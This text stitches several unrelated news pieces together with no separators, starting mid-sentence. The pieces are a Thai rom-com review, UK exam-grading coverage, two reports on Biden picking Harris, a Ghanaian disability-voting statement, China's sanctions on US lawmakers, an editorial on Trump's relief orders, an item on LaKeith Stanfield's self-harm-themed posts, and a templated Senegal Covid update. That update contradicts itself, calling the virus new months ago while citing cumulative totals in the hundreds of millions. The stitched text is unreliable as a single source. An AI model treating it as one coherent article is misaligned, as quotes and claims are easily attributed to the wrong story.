Doo-worthy chase scene, zombie-like monotonal acting and weirdly empty kitchen sets in whats meant to be a busy restaurant. Some are defects of craft, others likely of spartan budget. Story continues While shots of food are the neatest aspect of the film, its biggest shortcoming are the portrayals of women. The men are consistently unreasonable, such as when they blame the loss of the star on her despite the fact she wasnt even cooking. Another issue is the romantic psychology of the men versus the women. The film implies the women are almost wholly motivated by pursuit of love. Take Feya, the sous-chef and only other woman in the kitchen with dialogue. Yet Feya turns out to be little more than a vehicle for a jealousy subplot and perpetuates the idea that landing a successful man is just as good, or better, than achieving ones own success. And though Minnie fights an uphill battle to be a chef, the whole thing ends with only the men getting what they want while our heroine learns to accept her lot in life. Can this be written off as the oft-cited sexism of some Muslim cultures? While thats a valid question, its equally important to take into account what this Muslim rom-com accomplishes as well as fails. On the one hand, the way the story unfolds is consistent with the Melayu culture it is trying to represent. Through Minnies moment of epiphany, we learn about the importance of qurbani, or animal sacrifice, on Eid al-Adha, and how its sharing makes the festival about generosity, kindness and community. This positive depiction of Islam is rare in Thai media and deserves recognition. But what remains awkward in Soup Soup is how the men constantly disparage Minnie, leaving her otherwise serviceable personal journey with a sexist aftertaste. In any other context, the film would be labeled sexist and we would move on. Pitisak Yaowananon and Suttida Kasemsan Na Ayutthaya and others in a scene from Rak Na, Soup Soup. Photo: M Pictures But what should be asked is the less comfortable, but important, complicated, and nuanced question: Is this Thai Muslim film any more sexist than what typically comes out of Thailand? If not, do we feel its sexism more pronouncedly because of our preconceived notions about how women are treated in the Muslim world? I venture to answer that any other romantic comedy meant for mass appeal in Thailand would be just as sexist. And while its important to speak truth to power and call out problematic portrayals, its also important to take things slowly and unpack them in context. Yes, Minnies story culminates in a punch-down on the only female protagonist agent of change, and yes, there are plenty of scenes of casual sexism. But how many (positive) stories of Muslim Thais have been in circulation? Most recently, we were served Islamophobia on a platter by the military-backed Latitude 6, which made Muslims in the Deep South out to be faceless harbingers of violent terrorism. Weve also seen occasional Muslim-focused stories the excellent Manta Ray (2018) being one Id give a shout-out to that show at foreign film festivals but never reach a wide domestic audience. Soup Soup might just be the only one to hit major theaters in recent years. While we can normalize Soup Soups shortcomings its sexism and glaringly poor craftsmanship alike as we have with other films, we must do so while also calling out those shortcomings, mindful of the cliche that failure is part of success. We must expect that people in positions of power i.e. filmmakers will learn from their mistakes. We must expect this of and give a chance to Muslim Thai creators because of how rare it is to see them represented in our media. We should watch Rak Na, Soup Soup. We should discern its layers, its flaws and merits. And thus we will see ourselves, flaws, merits and all. Rak Na, Soup Soup, in theaters now, is rated G and is appropriate for all audiences. For limited screenings with English subtitles, check local listings. Related Hard questions in Spike Lee joint Da 5 Bloods, as reviewed by a Southeast Asian This article, Sexism sours the broth in Muslim-Thai rom-com Love Na, Soup Soup, originally appeared on Coconuts, Asia's leading alternative media company. Want more Coconuts? Sign up for our newsletters! Boris Johnson came under increasing pressure to overhaul England's A-Level marking system today after Nicola Sturgeon bowed to pressure to U-turn over a system branded 'unfair' by parents and teachers. Thousands of English 18-year-olds are due to get their results on Thursday despite not sitting exams due to coronavirus, using a 'standardisation' system. But Ms Sturgeon was forced to scrap the system in Scotland after pass rates for pupils in the most deprived areas were reduced by 15.2 per cent in comparison with 6.9 per cent for pupils from the most affluent backgrounds. The methodology used by the Scottish Qualifications Authority (SQA) saw grades estimated by teachers downgraded based on criteria included the historic performance of the school. This led to criticism that it unfairly penalised high-achieving students from schools with historically poor results. Scottish Education Minister John Swinney this afternoon revealed that students would now receive the grades they were given by teachers and lecturers, before they were downgraded. Ucas chief executive Clare Marchant weighed in this afternoon, saying she is expecting universities to be 'super flexible' with near-miss candidates who have dropped 'one or two grades' in England. Earlier, former Ofsted chief Michael Wilshaw told Sky News: 'I am concerned and I suspect a lot of other people will be very concerned that we don't see a replication of what happened in Scotland, which has shown a large number of downgrades and a disproportionate number of downgrades of youngsters from poor backgrounds in some of the most disadvantaged schools. 'That must not happen here, and I hope Ofqual, the regulators of exam systems in England, are aware of the dangers of that, and are going to be taking remedial steps if that does happen. Ms Sturgeon admitted the Scottish government 'did not get it right', amid complaints that children have been punished to fit in with a model of how the overall results should look Thousands of English 18-year-olds are due to get their results on Thursday despite not sitting exams due to coronavirus , using a 'standardisation' system Former Ofsted chief Michael Wilshaw told Sky News: 'I am concerned and I suspect a lot of other people will be very concerned that we don't see a replication of what happened in Scotland' How are exams being graded and what does it mean for uni places? What could go wrong with results? TO stop this year's results being seen as worthless, both England and Scotland tried to shift teachers' estimated grades down, so they matched the trends of previous years. In Scotland this resulted in the 'attainment gap' between the richest and poorest being replicated, so that the 'most deprived' pupils had their marks reduced by 15.2 per cent, but the richest had reductions of only 6.9 per cent. This affected the most talented pupils in poorly performing schools the worst, meaning those expecting top grades were dragged down because of their school's record. The outrage at the situation has led to a U-turn to be announced today. How will appeals in England work? PUPILS will not be able to challenge the grades their teachers decided. Appeals must be made by schools - not pupils. They are likely to be successful if a school's past performance is unlikely to be a useful measure of predictions. Most importantly, appeals will now be allowed if 'unusually high or low ability pupils [have] been affected because they fall outside the pattern of results'. Schools will need to submit evidence, and there are worries over how long the process could take. What if appeals fail? FOR pupils who are told there is not enough evidence to appeal, or have it rejected, they will have only the option of resitting in the autumn. They will be able to use the higher of the two grades. In cases where pupils suspect racism or bias behind teachers' decision-making, their only option is raise a complaint, rather than use the appeals process. What about pupils hoping to go to university this year? THE Education Secretary has said universities should 'do all they can to ensure pupils can progress to higher education'. Those pupils who miss out on an offer need to be ready to contact their university of choice and explain why they feel they should be admitted despite their marks, as they wait for appeals to be dealt with. If pupils need to do resits, it may be possible to start their university courses in the new year, after sitting exams in the autumn and getting results before Christmas. Advertisement 'What has happened in Scotland and may happen here in England and Wales is that there has been an imbalance in the judgements made between the schools performance and its history of examination performance, and taking into account individual student performance. 'If there is an imbalance in that and they get that balance wrong then things will go badly wrong.' Sir Michael said there would always be pupils in badly performing schools who 'defy the odds' and perform well, but said Ofqual should ensure they 'drill down' into the results of each and every school and 'really look at it in depth' before changing marks. 'Youngsters and their families should have the right to appeal parents should have that right. And that right does not exist at the moment, and I hope the government and DfE changes tack on that one,' he said. Sir Michael said: 'I know it will be expensive and it could be a long and tortuous process, but we are talking about children's lives and their futures here.' He added: 'We have put so much money into the furloughing scheme, we should spend a bit more on getting this right.' Schools were asked to submit the grades they thought students would have received if they had sat the exams. Exam boards have moderated these grades to ensure this year's results are not significantly higher than previous years and the value of students' grades are not undermined. Last month, Ofqual said this summer's A-level results would have been 12 percentage points better than last year if teacher-assessment grades had not gone through standardisation. Liberal Democrat education spokeswoman Layla Moran said: 'Ministers must learn the lessons from the chaos over results in Scotland. We do not want to see more young people unfairly penalised by Covid-19 grade awards systems. 'To prevent this, we need the government to make clear that individual pupils will be able to appeal their grade awards directly with Ofqual without charge, and to sit these examinations at no cost, when it is safe to do so, should they wish to.' Ms Marchant warned that students should be wary about taking exams in the autumn if they are unhappy with their A-level grades as there will be a 'narrower' choice of university courses. She advised students to 'move on' with the grades they receive this week if they still allow them to progress into higher education. She said only a limited number of universities will offer courses that start in January for students sitting exams in the autumn. 'I don't think we should kid students that there's as much choice in January as there would be for an autumn start date at a university. There's a much narrower choice,' Ms Marchant said. Speaking to a Higher Education Policy Institute (Hepi) webinar, the Ucas boss urged caution over rushing to sit an exam, rather than accepting a university place or appealing results. Unis urged to be 'super-flexible' on downgrades The head of Ucas said she expects expecting universities to be 'super flexible' with near-miss candidates who have dropped 'one or two grades' in England. chief executive Clare Marchantsaid she expected higher education institutions to be 'more flexible than ever before,' if standardisation takes place. But she also warned that students should be wary about taking exams in the autumn if they are unhappy with their grades as there will be a 'narrower' choice of university courses. I dont think we should kid students that theres as much choice in January as there would be for an autumn start date at a university. Theres a much narrower choice, Ms Marchant told a Higher Education Policy Institute (Hepi) webinar. If youve got a result and you can move on, move on, she said. On the autumn exams, Ms Marchant added: It will be right for some students but theyve got to be really clear that theres not an option for them to progress to HE without doing that. I do think for the vast majority either they will get what they want, or theyll exceed it, or they may have a near-miss in which case the conversation with the university is paramount. Advertisement 'If you've got a result and you can move on, move on,' she said. On the autumn exams, Ms Marchant added: 'It will be right for some students but they've got to be really clear that there's not an option for them to progress to HE without doing that. 'I do think for the vast majority either they will get what they want, or they'll exceed it, or they may have a near-miss in which case the conversation with the university is paramount.' Mr Swinney announce a total U-turn over the downgrading this afternoon, amid calls for the SNP government to face an inquiry into the fiasco. He apologised to students and revealed he had spoken to a number of young people who had protested against their results last week. 'We set out to ensure that the system was fair. We set out to ensure it was credible. But we did not get it right for all young people,' he told the Scottish Parliament. 'Before I go any further, I want to apologise for that. 'In speaking directly to the young people affected by the downgrading of awards - the 75,000 pupils whose teacher estimates were higher than their final award - I want to say this: I am sorry.' Mr Swinney's Tory shadow Jamie Greene had earlier said: 'It's clear that the only way forward is for a full parliamentary inquiry into the exam results scandal to take place. 'This has been one of the greatest failures of this SNP government and people deserve answers.' The rethink has raised concerns that England could see a similar furore over GCSE and A-Level results. Boris Johnson said yesterday he understood the 'anxiety' caused by replacing exams with assessments, after they were effectively wiped out by coronavirus. But the PM's official spokesman said they believed the arrangements would go ahead and be 'fair for all students'. Ms Sturgeon came under attack on all sides today after presiding over an exam results shambles that sparked an embarrassing U-turn on live television. The First Minister apologised for 'standardisation' blunders that saw grades for 125,000 Scottish pupils marked down. Scottish Education Minister John Swinney (left) will unveil how he intends to fix the problems this afternoon. His Tory shadow Jamie Greene (right) said: 'It's clear that the only way forward is for a full parliamentary inquiry into the exam results scandal to take place' How will grades be calculated with no exams sat this summer? After this summer's exams were cancelled, teachers were told to submit the grades they thought each student would have received if they had sat the papers. The predictions were sent to the exam boards alongside a rank order of which students they believed would do best within each grade for each subject. Exam boards have moderated these school-assessed grades to ensure this year's results are not significantly higher than previous years and the value of students' grades are not undermined. As part of the standardisation process, exam boards have also taken into account historical performance data to determine the proportion of students who achieved each grade in previous years. Individual grades may have been adjusted upwards or downwards after moderation. This means that the final grade awarded to a student could be different from the one their school or college submitted. Advertisement The First Minister admitted the Scottish government 'did not get it right', amid complaints that individual children have been punished to fit in with a model of how the overall results should look. Both Labour and the Tories called for the SNP minister's head today, with the U-turn doing little to quell the widespread anger. While the SQA developed the methodology, the First Minister 'absolved' the qualifications authority of responsibility because it was done at the behest of Scottish ministers. Speaking on a visit to a school in London about the exams in England, Mr Johnson said: 'Clearly, because of what has happened this year, there is some anxiety about what grades pupils are going to get, and everybody understands the system that the teachers are setting the grades, then there's a standardisation system.' The Prime Minister's spokesman said: 'There is a standardisation process in place but if students are unhappy with their grade then they are able to appeal or they are able to take examinations in the autumn. 'We would expect that the vast majority of students will receive a calculated grade this summer that enables them to move on to the next stage of their education or training.' Scottish Labour is set to mount a no-confidence vote against Mr Swinney in Holyrood and the Conservatives saying they will support it. Labour's Holyrood education spokesman Iain Gray told the Guardian: 'It is frankly hypocritical for the first minister to apologise today after refusing to accept for over a week that an injustice had occurred. 'This apology is more concerned with protecting John Swinney's job than facing up to the failures of her government. 'A belated and forced apology is not good enough. We need an immediate return to the grades recommended by teachers for those who saw their grades reduced. It's time pupils and teachers got justice and Swinney got his jotters.' Connecticut Democrats said they were excited by Joe Bidens choice of California Sen. Kamala Harris as his running mate on Tuesday, a move that made Harris the first Black woman to compete on a major partys presidential ticket. I have the great honor to announce that Ive picked Kamala Harris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate, Biden tweeted. In a text message to supporters, Biden said, Together, with you, were going to beat Trump. I am tremendously excited about Kamala Harris as a candidate and future vice president, Sen. Richard Blumenthal said. I have worked with her closely as a member of the Senate Judiciary Committee and admire her insight, integrity, and dedication to justice. She is a historic choice and an absolutely wonderful person. I know that Americans across the country will be deeply impressed and inspired by Kamala as they come to know her as I do." Sen. Chris Murphy tweeted: Heres what Ive learned about my friend Kamala over the past 4 years: Shes got great instincts, and she trusts them. When she makes a promise, she keeps it. Friendship and family matter to her more than almost anything. If youre in a fight, you want her in your foxhole. Gov. Ned Lamont, who has supported the Biden for months, said hes proud of the Harris-Biden ticket. Senator Kamala Harris is a true leader and the kind of person who will be incredible for our country, by the side of my good friend Joe Biden, Lamont said in a tweet. Lamont, Murphy, Blumenthal, Rep. Jim Himes, D-4, and Lt. Gov. Susan Bysiewicz held a virtual fundraiser for Biden last week. If they win, Bysiewicz said, Biden and Harris will restore competence, compassion and character to the White House. I think [Harris] brings a very strong background of both executive experience running a very large attorneys general office in California, along with a strong legislative record and I think shes shown that she can be very strong on the debate stage, Bysiewicz said. . Greenwich resident Dita Bhargava, who hosted Harris at a fundraiser for her presidential campaign in town last September, praised the selection. As a Black woman of south Asian descent, Bhargava said, Harris would be an inspiration to others, including her daughter. This is a historic and monumental day for our country at a time when we need to unify and sew divisions, said Bhargava, who ran for state treasurer in 2018. Any of the women on Joe Bidens short list would have been an incredible choice. But I am ecstatic with tears of joy to see Kamala Harris chosen as a partner in this race. As Democrats praised the choice, J.R. Romano, the Republican state chairman, expressed skepticism. I can understand strategically why he picked Kamala Harris, said Romano, citing two missteps in this campaign cycle, in which Biden had to backtrack or apologize for the way he characterized African American voters - including the quip to Black voters that if they couldnt decide between him and Presidemt Donald Trump, you aint Black. If I were him I might have selected someone from a swing state, Romano said. Shes also is a flawed candidate as well. Harris and Biden plan to deliver remarks Wednesday in Wilmington. In choosing Harris, Biden is embracing a former rival from the Democratic primary who is familiar with the unique rigor of a national campaign. Harris, a 55-year-old first-term senator, is also one of the partys most prominent figures and quickly became a top contender for the No. 2 spot after her own White House campaign ended. Harris joins Biden in the 2020 race at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 150,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused an economic collapse. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. Trumps uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nations largest state. Trump said Tuesday night Harris was his number one draft pick for Bidens running mate because he believes she will be a liberal flop. He claimed Harris wanted to raise taxes and slash funds for the military, while criticizing her for saying horrible things and being extraordinarily nasty to Justice Brett Kavanaugh during his Supreme Court confirmation hearings and to Biden himself during the primary debates. Well see how she works out. She did very very poorly in the primaries, Trump said. I was a little surprised that [Biden] picked her. Jeffrey Sonnenfeld, Yale School of Management senior associate dean and expert on leadership, said on CNBC that Bidens choice of Harris was telling. Shes an excellent choice, said Sonnenfeld, an adviser to Lamont as well as Biden, Trump (before the presidency) and former presidents Jimmy Carter, Bill Clinton and George H.W. Bush. Its a great lesson for CEOs to pick somebody as a partner who isnt necessarily going to be a sycophant. As we saw, she kind of knocked the wind out of him in an early debate. Rather than hold a grudge, theyve tried to figure out how to learn from that. Sonnenfeld was referring to a debate in which Harris said Biden made very hurtful comments about his past work with segregationist senators. She slammed his opposition to busing as schools began to integrate in the 1970s. There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day, she said. And that little girl was me. Shaken by the attack, Biden called her comments a mis-characterization of my position. An earlier version of this story incorrectly said Sonnenfeld had advised former President Barack Obama. This story includes reporting from the Associated Press. Greenwich Time reporter Ken Borsuk and Hearst Columnist Dan Haar contributed to this story. Ghana Federation of Disability Organizations (GFD) together with Mental Health Society of Ghana (MEHSOG) calls on the Electoral Commission to chart a pathway in which the Commission and Civil Society Organizations (including GFD and MEHSOG) that operate in the field of disability can work together with the Commission to break down needless barriers faced by persons with disability in their access to the voter exhibition and election. Our immediate concern is that if no conscious action is taken to remove unwarranted roadblocks this could persist and perhaps worsen before and during the December elections. As disability membership organizations, we frown on all barriers to real participation and support every good practice of disability inclusion in the upcoming voter exhibition and elections in Ghana. It is in light of the foregoing that we remind the Electoral Commission of previous reports of incidents in certain parts of the country where persons with disability who had turned up either at registration centers to register or at voting centers on election days to vote in national or local elections were scornfully treated or shabbily handled. The unwarranted discretion by persons put in positions of trust in the past to deliver public service and some members of communities is not only disturbing, but goes to underline the huge stigmatization and negative public attitudes towards persons with disabilities. It is this stigmatization and negative social perception regarding the capabilities of persons with disabilities that persists and plays a major role in their marginalization from politics. The call for inclusion and participation of persons with disabilities in political and public life is in line with Article 29 of The United Nations Convention on the Rights of Persons with Disabilities (UNCRPD) which prescribes that: States Parties shall guarantee to persons with disabilities political rights and the opportunity to enjoy them on an equal basis with others, and shall undertake to: (a) Ensure that persons with disabilities can effectively and fully participate in political and public life on an equal basis with others, directly or through freely chosen representatives, including the right and opportunity for persons with disabilities to vote and be elected The Constitution,1992, as the countrys highest law assures civil and political rights, including the right to participate in elections, since 1993. Article 42 of the Constitution empowers every citizen of Ghana of eighteen (18) years of age or above and of sound mind to register as a voter and vote in public elections and referenda. This is why reported incidents (and perhaps many unreported ones) of denial of political rights of persons with disabilities must be a concern to all if we are to overcome the scourge of stigmatization and negative social perception regarding the capabilities of persons with physical, mental health conditions and other forms of disability that persists and plays a major role in keeping them away from participation in social, economic and political affairs. For almost ten (10) years, both organizations have been working together to promote the rights of persons with mental health disabilities and enabling their voice to be heard not only on including them in political activities at all levels-national and/or local- but even more importantly, how they as well as their care-givers suffer from social exclusion. As part of the mission of GFD and MEHSOG to represent persons with disabilities including mental health in Ghana and to encourage the government to protect and promote the rights of persons with disabilities, we call on the Electoral Commission to take immediate steps to ensure that all persons with disabilities, including those who have stabilized in their mental health conditions, take equal part in the upcoming voter exhibition and election. We expect that when the voter exhibition and election begins, persons suffering from mental health and other forms of disabilities can continue to fully exercise their rights and equally participate in that exercise and in all subsequent exercises on the calendar of the Electoral Commission, without let and/or hindrance from any institution, individual or group of individuals. In effect, we want to witness a situation where all persons with disabilities who present themselves at exhibition and voting centers with the intent of getting onto the current electoral roll are given unfettered admission and participation in same way as other qualified citizens, and where necessary, provided the needed support to participate in the exercise. We find it relevant to recall that currently the Electoral Commission has made it possible for vulnerable persons including the aged to access voters services in their District Offices and that in the past, the Electoral Commission, had, in its wisdom, varied its own procedure in the case of persons with physical and other forms of disabilities to participate in its activities. In more specific terms, it is refreshingly acknowledged that for the 2016 elections, as a result of a forum organized between the Ghana Federation of Disability Organizations (GFD) and the Electoral Commission, three people with disabilities in the Upper East region were recruited, trained and used as presiding officers at the elections. The Ghana Federation of Disability Organizations (GFD) and Mental Health Society of Ghana (MEHSOG) wishes to assure the Electoral Commission that it is willing and ready to cooperate and engage the Commission on the pertinent broad issues of access, inclusion and participation- that will enable persons with disability to more easily access information and the physical registration, exhibition and voting centers, to feel reasonably included and to more freely participate in the Commissions activities including the December 2020 elections. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video China yesterday imposed sanctions on 11 US citizens, including legislators, in response to the US imposition of sanctions on 11 Hong Kong and Chinese officials accused of curtailing political freedoms in the former British colony. Among those targeted were Senators Ted Cruz, Marco Rubio, Tom Cotton, Josh Hawley and Pat Toomey and Representative Chris Smith, as well as individuals at non-profit and rights groups. "In response to that wrong US behaviour, China has decided to impose sanctions on individuals who have behaved egregiously on Hong Kong-related issues," Chinese foreign ministry spokesman Zhao Lijian told a press briefing. He did not specify what the sanctions entail. Relations between the two countries have deteriorated over issues ranging from trade to Hong Kong and China's handling of Covid-19. China's sanctions of the 11 US citizens is the latest in a tit-for-tat round of measures between China and the US over accusations of rights abuses and interference. Last Friday, the United States imposed sanctions on Hong Kong chief executive Carrie Lam as well as the city's current and former police chiefs. Those sanctions freeze US assets owned by those people and generally bar Americans from doing business with them. The US lawmakers targeted by China yesterday have been vocal critics of a new national security law that Beijing imposed on Hong Kong in late June, expanding its authority in the financial hub. Last month, China announced sanctions against Mr Cruz, Mr Rubio, Mr Smith and other US officials after the US penalised senior Chinese officials over the treatment of Uighur Muslims in its Xinjiang region. President Trump's recent executive orders will provide little immediate relief, the Times Editorial Board writes. (Susan Walsh / Associated Press) The pandemic rages on. Millions of laid-off Americans teeter on the edge of financial disaster now that extended unemployment benefits have ended. The courts and homeless shelters are preparing for a tsunami of evictions now that federal eviction moratoriums have expired. State and local governments are facing layoffs and service cuts because tax revenue has plummeted. The nation needs a major infusion of federal funding to keep communities afloat. Instead, over the weekend, President Trump put forth a handful of executive orders that will provide little immediate relief. The orders earn Trump a participation trophy, but not much beyond that. He simply doesnt have the authority to do much of what needs to be done now, which is to spend, spend, spend. Congress holds the purse strings, and so far lawmakers havent been able to make a deal. The Democratic-led House passed a $3.4-trillion spending plan in May that would have extended the $600 per week in extra unemployment benefits, bailed out struggling state and local governments, helped renters pay their landlords and kept the Postal Service afloat. Senate Republicans, however, have insisted on being penny-wise and pound-foolish. They offered a $1-trillion proposal that would have slashed the extra unemployment assistance to $200 a week and offered no aid for cities and states. Unable to negotiate a compromise, President Art of the Deal tried to paper over the impasse with executive orders. Take, for example, his move to extend unemployment benefits. Trump couldnt revive the $600-per-week supplement with the stroke of a pen; instead, he invited states to apply for more federal disaster relief dollars to use for extra benefits. The catch: The benefits would go up only $400 a week, and cash-starved states would have to cover a quarter of the cost. If the states cant pay, their residents wont get the extra aid. The cost to California, where more than 4.6 million people are receiving benefits, would be in the billions of dollars. Story continues Similarly, Trump cant unilaterally cut payroll taxes, he can just delay their collection. Thats what he did for low- and moderate-income workers, allowing them to run up a payroll tax tab that they would not have to pay until next year. But employers apparently are still obligated by law to withhold and submit the taxes, so its not clear what Trump accomplished. His order on evictions is also toothless. It did nothing to revive a federal eviction moratorium that expired last month, and there was no commitment of funds to help renters pay their landlords. Instead, the order directed agencies to consider an eviction moratorium and identify funds that could be used for emergency rental assistance. But tenants and landlords need immediate assistance, especially now that the extra unemployment benefits have evaporated. One exception to the otherwise lackluster executive orders: Trump can and did extend the relief to Americans with student loans held by the federal government, suspending payments and waiving interest through the end of the year. A big sticking point in the negotiations over the next relief bill has been the Democrats' demand for money to help cities and states avoid brutal budget cuts. GOP leaders have been cool to the idea, with Trump saying last month that he didnt want to reward badly run radical left Democrats. But that kind of punitive, politically motivated and short-term thinking will just end up hurting communities across the country that are on the front lines of fighting COVID-19. State and local governments generate much of their revenue from taxes on sales, business receipts and tourism. That economic activity ground to a halt as the pandemic surged, and tax revenue has fallen off a cliff. In a new survey of California cities, the budget shortfalls will prompt 90% of cities in the state to cut staff or decrease services. Nearly 75% of cities said they may have to do both. The pandemic continues to wreak havoc on communities. This is no time for penny pinching. The president and lawmakers need to keep the money flowing to stabilize families and communities and prevent lasting damage. LaKeith Stanfield has assured fans he's 'ok' following some concerning social media posts. The Get Out actor, 28, took to Instagram on Tuesday to apologize for earlier posts which appeared to hint at intentions of self-harm by the star. 'Im ok everyone!' read the post. I appreciate everyone checking in on me but Im good. Im not harming myself. Much love [ROSE EMOJI]' Stanfield captioned the post, 'Im ok everyone I apologize for making you worry.' LaKeith Stanfield has assured fans he's 'ok' following some concerning social media posts The since-deleted posts all showed a bottle of prescription medication Carvedilol, which is commonly used to treat high blood pressure and heart failure. One post showed Stanfield pouring a clear liquid that appeared to be alcohol into the pill container along with the caption, 'I like to be by myself because i can hurt myself and no one tells me to stop or fakes like they care'. Another showed him holding the open pill bottle with the caption 'Bottoms up'. The Get Out actor, 28, took to Instagram on Tuesday to apologize for earlier posts which appeared to hint at intentions of self-harm by the star. Seen here in 2019 The since-deleted posts all showed a bottle of prescription medication Carvedilol, which is commonly used to treat high blood pressure and heart failure Yet another post read, 'Reality is boring and moves too slow and no one is trustworthy'. 'Outside is crazy imma just stay inside form [sic] now on,' read another caption. LaKeith's Bojack Horseman costar Patton Oswald expressed concern for the star on Twitter, before confirming he was 'okay'. 'Just got confirmation Lakeith is okay,' wrote the actor. 'Sorry if I overreacted. Okay getting off Twitter for awhile. Text or DM someone you havent texted or DMed in awhile and tell them a cool memory you have about them. Good night'. Another showed him holding the open pill bottle with the caption 'Bottoms up'. Yet another post read, 'Reality is boring and moves too slow and no one is trustworthy' LaKeith's Bojack Horseman costar Patton Oswald expressed concern for the star on Twitter, before confirming he was 'okay' The Knives Out actor's publicity team Platform PR reassured fans that Stanfield was safe in a Tuesday tweet. 'Everyone! LaKeith is well. Thank you for the concern. We have spoken to him. The love you all have is appreciated.' The actor will next be seen in the film Judas and the Black Messiah, playing William O'Neal. Daniel Kaluuya also stars as Fred Hampton, who rose to prominence as chairman of the Illinois chapter of the Black Panther party, in the new Warner Bros. film. The film will be released in theaters in 2021, though no specific release date was given yet, with the trailer (via Warner Bros. Pictures YouTube) offering a first look. The pandemic caused by the new coronavirus has already spread to 224 countries with 334.656.351 infected. The disease is caused by a new virus that had not been detected in humans until a few months ago. In Senegal the figures released by the Ministry of Health record a total of 83.174, which marks an increase of 188 new cases compared to the previous day. Senegal ranks 121 in countries with reported Covid-19 cases, the viral pneumonia that affects the planet. The list of the top ten is as follows: EE.UU. 68.385.419, India 37.896.011, Brazil 23.215.551, UK 15.399.300, France 14.739.297, Russia 10.865.512, Turkey 10.591.757, Italy 9.018.425, Spain 8.518.975 and Germany 8.140.341. In the last 24 hours, were reported 3 deaths and the number of fatalities adds up to 1.912. So far, 6 pacients are in critical condition expecting to react positively. In contrast, it has been reported that 76.244 people have recovered in the country. The president Macky Sall is closely monitoring the situation while the authorities continue to coordinate the actions of health personnel across the country. Recommendations to minimize the transmission of the infection can be found at the World Health Organization (WHO) Total infected New cases Total deaths Deaths in the last report Total recovered Total critical cases Senegal 83.174 188 1.912 3 76.244 6 World 334.656.351 2.763.527 5.572.272 7.449 268.372.720 96.727 WASHINGTON - Presumptive Democratic presidential nominee Joe Biden on Tuesday picked Sen. Kamala Harris, D-Calif., as his running mate, a historic decision that elevates the first Black woman and first Asian American woman to run for vice president on a major-party ticket at a moment when the country is grappling with its racial past and future. Biden's announcement, made in a text and tweet, aligns him with a former presidential rival whose most electric campaign performance came when she criticized his record on school integration during a debate. The decision is the most consequential of Biden's presidential campaign and has major implications not only for the November election but for the future of the Democratic Party. Biden, 78 years old by Inauguration Day, would be the oldest president ever and has said he considers himself "a transition candidate." The choice places Harris, who was a more vibrant and energetic presence on the campaign trail but was also at times unsteady,at the forefront of the party's future as, potentially, the first woman vice president. Harris will now become a vessel for Democratic hopes for a diverse party empowered by women, as well as for Republican attempts to funnel a barrage of attacks that have so far been largely unsuccessful when waged against Biden alone. Harris, 55, is the daughter of Indian and Jamaican immigrants. The first-term senator previously served as San Francisco district attorney and California attorney general. She developed a close friendship with Biden's late son Beau, a relationship that Biden said he reflected upon in making his decision. The move puts Biden, who served as vice president to the nation's first Black president, in a history-making role in naming Harris as the first woman of color nominated for the position. He also has pledged, if elected, to name a Black woman to the Supreme Court. While Harris, who dropped out of the Democratic presidential primary in December, was an early front-runner in the vice-presidential sweepstakes, there were still lingering concerns about the sting of the debate moment on her chances - until Tuesday afternoon. Washington Post photo by Melina Mara "Joe Biden here. Big news: I've chosen Kamala Harris as my running mate," Biden wrote in an email to supporters. "Together, with you, we're going to beat Trump." The pick followed a final public push from Black activists, athletes and actors who urged Biden to pick a Black woman - and threatened that his candidacy would be doomed if he didn't. "My advice was sought," said Rep. James Clyburn, D-S.C., a top Biden ally who had urged him to pick a Black woman and said that Biden called him Tuesday morning to inform him of the decision. "I talked to him [Biden] over the past several days more than I talked to him all year," he said. The months-long process before the decision included vetting nearly a dozen women as potential nominees. Biden on Tuesday informed some of the others that they were not chosen. Former Obama national security adviser Susan Rice, who was among the finalists, quickly put out a statement congratulating Harris. "Senator Harris is a tenacious and trailblazing leader who will make a great partner on the campaign trail," Rice wrote. "I am confident that Biden-Harris will prove to be a winning ticket." Rep. Val Demings, D-Fla., who was also under serious consideration, reflected on the historic nature of the pick. "To see a Black woman nominated for the first time reaffirms my faith that in America, there is a place for every person to succeed no matter who they are or where they come from," she said. Top party leaders, including the 2016 nominee Hillary Clinton and former president Barack Obama, publicly rallied around the new Biden-Harris ticket - Obama with a seeming dig at President Donald Trump. "Joe Biden nailed this decision," Obama said in a statement. "By choosing Senator Kamala Harris as America's next vice president, he's underscored his own judgment and character. Reality shows us that these attributes are not optional in a president." Harris's prosecutorial record has drawn attacks from party liberals, who have criticized her past stances as too harsh and contend that her record does not meet a moment when police misconduct has rocketed into the national conversation. But Harris also has built a reputation in Washington as a sharp questioner in Senate hearings, particularly of Trump administration nominees. She has been a forceful advocate for Black families during the novel coronavirus pandemic, and she helped draft a bill ending qualified immunity for police. Some of those who were skeptical of her during her campaign have softened their views of her in recent months. Harris kicked off her presidential campaign little more than two years after joining the Senate, with an electrifying Oakland, Calif., rally that drew more than 22,000 supporters. But she struggled to define herself to voters, shifting from one message to the next. She failed to take off in the polls and dropped out in early December, citing financial problems. Harris and Biden have known each other for several years, and as the former vice president noted in his announcement, Harris worked closely with Beau Biden when both served as attorneys general. That made it all the more shocking to Biden and his team when, at the first Democratic primary debate last year, Harris went after Biden for his nostalgic talk about working with two segregationist senators. "It was hurtful to hear you talk about the reputations of two United States senators who built their reputations and career on the segregation of race in this country," Harris said during the debate. She also took Biden to task for his opposition to mandatory busing. On the debate stage, she described a little girl who had benefited from her city's busing program. "And that little girl was me," she said. Within hours, her campaign was selling shirts emblazoned with the words and a childhood picture of Harris. Biden's wife, Jill, has described that moment as being "like a punch to the gut." But Biden prides himself on not carrying and grudge and since then, the two have publicly made up, with Harris acting as a surrogate for Biden and appearing with him and his wife in campaign events. In a June appearance on "The Late Show With Stephen Colbert," Harris jokingly defended her performance, saying: "It was a debate! The whole reason - literally, it was a debate. It was called a debate." "I'd be honored, if asked, and I'm honored to be a part of the conversation," Harris told Colbert about the then-hypothetical vice-presidential nomination. "Honestly, let me just tell you something: I will do everything in my power, wherever I am, to help Joe Biden win." In late July, Biden was photographed with notes he had written to himself about Harris on his personal stationery. Included were: "talented," "great help to campaign" and "do not 